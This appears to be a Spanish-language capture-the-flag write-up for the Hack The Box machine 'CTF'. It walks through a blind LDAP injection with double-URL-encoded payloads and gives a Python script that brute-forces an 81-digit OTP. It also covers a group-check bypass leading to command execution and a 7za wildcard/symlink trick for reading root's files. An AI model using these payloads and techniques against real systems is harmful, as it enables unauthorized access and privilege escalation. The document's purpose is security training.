HTB-CTF

IP -> 10.10.10.122

Reconocimiento

Nmap

Utilizamos nmap y obtenemos los siguientes resultados. CTF Nmap Result

Como vemos un servicio http corriendo, lanzamos el script de nmap http-enum para enumerar posibles rutas.

login.php

Encontramos un WAF porque no encontramos el servicio, esperamos un minuto a que nos quiten el ban.

No podemos aplicar fuerza bruta

http

En la página vemos que hablan de tokens. Y que tiene un bloqueo de 5 minutos. Tenemos un panel de autenticación. Vamos a probar cosas:

Admin:1234

User not found. Podemos enumerar usuarios válidos. Pero probamos algunos y no conseguimos gran cosa. Probamos una inyección SQL. Pero no conseguimos hacer nada. Probamos diferentes sentencias y comprobamos que el “=” es un badchar.

Fuzzeamos con wfuzz y con el diccionario de carácteres especiales de seclists. (special-chars.txt). Probamos a utilizar esos caracteres normal y tambien encodearlo en urlencode y también double_urlencode.

El número de palábras 233 se repite mucho asi que lo ocultamos.

Probamos con otro diccionario de seclists (double-uri-hex.txt) que tiene más caractéres y está ya double urlencodeado.

Chars

  • %2528 -> (
  • %2529 -> )
  • %255c -> \
  • %252a -> *

Por los tipos de carácteres que nos bloquea parece ldap. Un ejemplo de como puede esta rmontado por detras puede ser:

(&
	(inputOTP-1234)
    (inputUsername=caca)     
)

Para comprobar la inyección se utiliza el byte nulo %00

El los comentarios de la página vemos que el OTP es de 81 dígitos.

Abrimos el burpsuite para probar cosas.

Codificamos dos veces en url. *)) añadiendo un byte nulo al final. Para verificar cuántos cierres de paréntesis son necesarios vamos añadiendo. *)))+nullbyte. Al mandar 3 paréntesis nos responde con “Cannot login”, la respuesta ha cambiado. Con la nueva información suponemos otra estructura diferente.

(&
	(&
		(inputOTP-1234)
    	(inputUsername=caca)     
	)
)

Para sacar un nombre válido, vamos a ir probando sentencias como a*)))+NullByte itereando la a por cada con todas las letras. La l nos da una respuesta diferente. Seguimos iterando la*))) hasta conseguir el usuario.

User: ldapuser

Para obtener el OTP, podemos tratar de inyectar un atributo para conseguir el token. En payloadallthethings hay un diccionario para hacer fuerza bruta para conseguir el nombre del atributo. Probamos con la sentencia ldapuser)(FUZZ=*)))+NullByte, aunque también sería una sentencia válida ldapuser)(FUZZ=*. Urlencodeamos dos veces los caracteres especiales.

Nos encuentra unos cuantos atributos válidos.

  • El que más nos llama la atención es “pager”.

Probamos a obtener el token con la sentencia ldapuser)(pager=a*)))+NullBytem, iterando la a por cada letra del abecedario. Pero todas las letras nos la detecta igual, pueden ser números, asi que probamos con un diccionario del 1-9. Nos detecta el 2 como válido, podemos seguir iterando los 81 números, o montarnos un script en python tal que:

#!/usr/bin/python 
#coding: utf-8 

# El coding se pone cuando pueden aparecer tíldes en el código.

from pwn import * 
import pdb # Debugging 
import string 

def def_handler(sig, frame): 
	print("\n\n[!] Saliendo...\n") 
	sys.exit(1) 

# Ctrl+C 
signal.signal(signal.SIGINT, def_handler) 

# Variables globales 
main_url = "http://10.10.10.122/login.php" 
digits = string.digits 
attribute = "pager" 

def getToken(): 

	token = "" 
	
	p1 = log.progress("Fuerza bruta") 
	p1.status("Iniciando proceso de fuerza bruta") 
	
	time.sleep(2) 
	
	p2 = log.progress("TOKEN") 
	
	for position in range(81): 
		for digit in digits: 
		
			p1.status("Probando el dígito %s en la posición [%s]" % (digit, position)) 
			
			post_data = { 
				'inputUsername': f'ldapuser%29%28{attribute}%3d{token}{digit}%2a',
				'inputOTP': '1234' 
			} 
				
			r = requests.post(main_url, data=post_data)
			
			if 'Cannot login' in r.text:
				token += digit 
				p2.status(token) 
				break 
			
			time.sleep(1) 
			
if __name__ == '__main__': 

	getToken()

Token

Como en la página pone que necesitamos un “software token”, buscamos en github algún proyecto. Compilamos uno de los que nos sale y vamos a probarlo. En el manual de la aplicación que hemos compilado vemos que hay tokens de 81 digitos llamado “Compressed Token Format” CTF. Al poner el token, nos pide un PIN, si ponemos 0000 cuenta como que no ponemos pin, vamos a suponer que no tiene PIN. Pero al probarlo no funciona, hay que cambiar la hora. Para saber la hora de la máquina podemos ver las cabeceras de respuesta HTTP.

date -s HH:MM:SS

Utilizamos otra vez el token. Hemos entrado, y tenemos un campo cmd.

Pero al probar un comando, nos reporta que tenemos que ser root o adm, para poder ejecutar comandos. Eso explica por qué en la sentencia ldap, teníamos que cerrar 3 paréntesis. Para hacer una inyección y bypassear los grupos, realizamos una consulta tal que ldapuser)))+NullByte, encodeándolo todo con double_urlencode. Al iniciar sesión con ese usuario y un token válido, entramos bypasseando la validación de grupos y ahora ya podemos ejecutar comandos, nos mandamos una reverse shell.

User Pivoting

OS

cat login.php

USER: ldapuser PASS: adwanonwaondiowan

Probamos a conectarnos con ssh, y nos conectamos.

user.txt

Privilege Escalation

OS

id
sudo -l
uname -a 
cat /etc/os-release

Como es un CentOS tiene una vulnerabilidad descubierta por s4vitar, relaccionada con ptrace_scope. Kali, parrotOS, CentOS, Red-Hat, son vulnerables, pero para ello tenemos que estar en el grupo sudo, y sirve cuando no dispongamos de contraseña.

cd /
ls
cd backup

Root está haciendo un backup cada minuto, lo comprime con 7za pero utiliza una wild-card. Como el usuario apache tiene capacidad de escritura en la ruta donde lo comprime podemos aprovecharnos de crear archivos con nombres de flags para inyectar comandos en 7za. En 7za podemos utilizar archivos que empiezen con “@” para que operen con links simbólicos. Vamos a intentar que comprima el directorio /root, y ocasionar un error para que nos lo muestre en el error.log

ldapuser

tail -f error.log

apache

touch @caca
ln -s -f /root/root.txt caca

Ademas de esta forma también podemos buscar la forma de ejecutar un comando como root.

root.txt


Escrito el 15-12-2021 a las 12:16 am por creep33.

Tags:

Categories:

Updated: